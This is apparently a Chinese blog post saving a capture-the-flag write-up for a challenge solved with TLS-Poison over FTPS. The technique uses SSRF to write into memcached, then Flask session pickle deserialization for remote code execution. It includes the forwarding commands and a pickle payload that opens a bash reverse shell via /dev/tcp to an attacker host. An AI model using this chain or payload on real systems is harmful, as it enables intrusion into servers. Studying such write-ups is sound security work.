书接上回,这是烨师傅没有做出来的那一道题,但是还是找到了 WP 抄下来保存一下
(想复现一次结果发现环境关了,悲,不过也可以自己起一个)
烨队的解题思路:
搭建一个 TLS 服务器,同时服务器上起一个 Redis,redis 服务器中保存一个 session,vaule 为:acftSession: xxxxxxxxx + Pickle 反序列化 C 指令码 RCE 的 Payload
让 TLS 服务器从 Redis 中取出可以 RCE 的 session,然后 TLS 服务器转发流量到 FTP 服务器上,ftp 服务器通过 PASV 转发到 pymemcached
在 Python 从 pymemcache 调用缓存数据的时候,flask-session 类库会触发 session 中的 pickle 反序列化数据,从而造成 RCE
Exp 可以参考陆队的:https://github.com/ZeddYu/TLS-poison/blob/master/Practice1-hxp2020/solution2/exp.py
需要注意的点在于题目的 memcache 端口为 11200,而非 11211,需要修改端口
其次就是要确保有效的 SSL 证书,不然 pycurl 会直接中断请求。
文章如下
这道题主要的考点是 ftps 的 TLS-Poison + flask 的 pickle 反序列化。
从源码可以看到,flask 使用的是 memcached 存储 session,而 flask 在读取 memcached 存储的 session 时会反序列化这里的内容,因此只需要向 memcached 写入一个恶意的 session,触发反序列化即可。
那么如何向 memcached 写内容呢?
关于这一点,题目设置了很多的暗(ming)示:
- 标题的 ToLeSion,大写字母 TLS。
- memcached—— 经典 TLS-Poison 受害者。
- pycurl 几乎禁用了所有的协议唯独没有禁用 FTPS。
- 设置 FTP_SKIP_PASV_IP 为 0。
ftp-skip-pasv-ip 设置了 curl 不要使用被动模式下服务器提供的 ip 和端口,这个设置在 curl 7.74.0 版本之后默认是开启的,这里显式设置为 0 也是一个很强的暗示。
很明显,我们需要使用 ftps 打 TLS-Poison,ssrf 写 memcached。
关于 TLS-Poison,这里推荐一下 zeddy 师傅的博客,写得非常全面且详细:
感谢 zeddy 师傅撰写了如此优秀的博客。
简单来说,当客户端使用 ftps://ip:port / 访问 ftp 服务器,ftp 服务器在被动模式下向客户端指定数据传输的 ip 和端口,客户端连接服务器该 ip 和端口时会重用第一次连接的相关信息,这里就导致了 ssrf。
针对 TLS-Poison 的利用,这里推荐一下这个 github 仓库:
https://github.com/jmdx/TLS-Poison。
我们可以用它来实现 TLS 层的解析,通过下面的命令监听 8000 端口并将 tls 解析之后应用层的内容转发给 1234 端口:
target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live//fullchain.pem --key /etc/letsencrypt/live//privkey.pem forward 1234
使用 redis 设置 payload:
set payload "\r\nset actfSession:whatever 0 0 \n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp//8080 0>&1\"'\nios\nsystem\n.\r\n"
经过 8000 端口的解析,转发到 1234 端口的内容就是普通的 ftp 请求了。在 1234 端口开启一个被动模式返回 ip 和端口是 ssrf 目标的 ftp 服务即可,针对本题就是 127.0.0.1 的 11200 端口:
python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200
控制目标机访问 ftps://
最后监听 8080 端口,使用上述写入的 session 访问网站即可触发反序列化 getshell。